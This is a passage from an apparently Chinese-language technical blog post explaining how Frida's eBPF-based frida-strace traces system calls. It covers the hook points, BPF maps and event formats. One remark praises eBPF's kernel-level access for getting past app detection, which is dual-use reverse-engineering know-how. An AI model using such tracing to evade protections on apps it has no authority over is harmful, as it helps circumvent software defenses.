0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">eBPF采集层 监听</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">raw_syscalls/sys_enter</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">raw_syscalls/sys_exit</span></code><span leaf="">，并用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kprobe/uprobe_mmap</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kprobe/uprobe_munmap</span></code><span leaf="">维护</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf="">状态。</span></p></li><li style=""><p><span leaf="">eBPF数据面 通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">syscall_events</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_events</span></code><span leaf="">两个ringbuf向用户态输出事件。</span></p></li><li style=""><p><span leaf="">用户态追踪核心 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SyscallTracer</span></code><span leaf="">对象负责拉取ringbuf、解析事件、维护进程映射快照与栈采样索引。</span></p></li><li style=""><p><span leaf="">服务与工具 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">LinuxSyscallTraceServiceSession</span></code><span leaf="">导出统一请求协议，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frida-strace</span></code><span leaf="">按协议批量拉取并做展示合并。</span></p></li></ol><p data-line="33" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">该设计的关键点是“采集与展示解耦”：内核仅负责稳定产出结构化事件，交互逻辑全部放在用户态。</span></p><h2 data-line="35" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">eBPF实现细节</span></h2><p data-line="37" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">使用Frida脚本可以弄一个frida-strace出来不算难。但基于eBPF实现的官方版本很有看头。主要是eBPF这内核级别的能力过检测怪好用的。</span></p><h3 data-line="38" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">1 挂载点选择与触发时机</span></h3><p data-line="42" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">挂载点的选择兼容了安卓与传统Linux内核。GKI2.0的安卓关掉了FTRACE_SYSCALLS，要想开启就得编译内核源码并刷机，就光这个很多学员朋友就难弄成功。后面我在eBPF课程的第六季里，所有的系统调用相关的挂载点也使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sys_enter</span></code><span leaf="">了。这样除了效率低那么一点点外，eBPF代码改一下系统调用号的判断处理，整体在Hook功能上其实变化不大。</span></p><p data-line="43" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">目前，Frida选择的Linux链路使用三类挂载点：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tracepoint/raw_syscalls/sys_enter</span></code><p><span leaf=""> 在系统调用入口采集调用号、线程信息、入参与部分可安全读取的附件。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tracepoint/raw_syscalls/sys_exit</span></code><p><span leaf=""> 在系统调用返回点采集返回值，并按inflight状态复制输出参数。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kprobe/uprobe_mmap</span></code><p><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kprobe/uprobe_munmap</span></code><span leaf=""> 追踪进程地址空间变化，驱动</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf="">递增，给后续符号化提供一致性锚点。</span></p></li></ol><p data-line="52" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这比纯</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sys_enter/sys_exit</span></code><span leaf="">多了一层“映射变化追踪”，是Frida这版实现最关键的工程点。</span></p><h3 data-line="44" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2 map设计</span></h3><p data-line="56" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">syscall-tracer.bpf.c</span></code><span leaf="">里核心map如下：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">target_tgids</span></code><p><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">target_uids</span></code><span leaf=""> 目标过滤入口。只有命中目标PID或UID的线程才会被采集。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">excluded_syscalls</span></code><p><span leaf=""> 排除表，key为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">(abi&lt;&lt;32)|nr</span></code><span leaf="">，支持</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">native/compat32</span></code><span leaf="">分离排除。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">syscall_events</span></code><p><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_events</span></code><span leaf=""> 两个ringbuf，分别承载syscall事件和映射快照事件。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">process_states</span></code><p><span leaf=""> 保存</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">abi</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf="">。用于“当前事件对应</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf="">”的判定。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">stacks</span></code><p><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BPF_MAP_TYPE_STACK_TRACE</span></code><span leaf="">，配合</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bpf_get_stackid()</span></code><span leaf="">采样用户栈。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">inflight</span></code><p><span leaf=""> 按</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tid</span></code><span leaf="">记录“enter阶段计划在exit阶段补拷的输出参数”。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">stats</span></code><p><span leaf=""> 按CPU统计发射与丢弃字节数、事件数。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">scratch_area</span></code><p><span leaf=""> 临时缓冲区，主要用于内核路径拼接。</span></p></li></ol><p data-line="74" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">该map拆分遵循一个原则：将高频路径状态尽量平铺到定长结构，降低验证器与运行时分支复杂度。</span></p><h3 data-line="66" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3 事件结构设计</span></h3><p data-line="79" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">事件分两大类：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">Syscall事件</span></p></li><ul style=" margin-top: 0px;margin-bottom: 0px;  " class="list-paddingleft-1"><li style=""><p><span leaf="">公共头：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">time_ns</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tgid</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tid</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">type</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">attachment_count</span></code></p></li><li style=""><p><span leaf="">syscall扩展：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">syscall_nr</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">stack_id</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code></p></li><li style=""><p><span leaf="">enter携带</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">args[6]</span></code></p></li><li style=""><p><span leaf="">exit携带</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">retval</span></code></p></li></ul><li style=""><p><span leaf="">Map事件</span></p></li><ul style=" margin-top: 0px;margin-bottom: 0px;  " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">NEED_SNAPSHOT</span></code></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MAP_CREATE</span></code></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MAP_DESTROY_RANGE</span></code></li></ul></ol><p data-line="89" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">每个事件后可附加若干</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">AttachmentHeader+payload</span></code><span leaf="">。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">AttachmentHeader</span></code><span leaf="">明确了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">arg_index/capacity/size</span></code><span leaf="">，这是17.7.3之后多attachment解析稳定的关键。</span></p><h3 data-line="81" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4 入参与出参采集策略</span></h3><p data-line="96" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">eBPF对参数采集不是“一刀切”，而是分层处理：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">入口直接可读参数 例如</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">openat</span></code><span leaf="">路径、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mount</span></code><span leaf="">多路径参数、</span><code style="font-family: Menlo, Monaco, 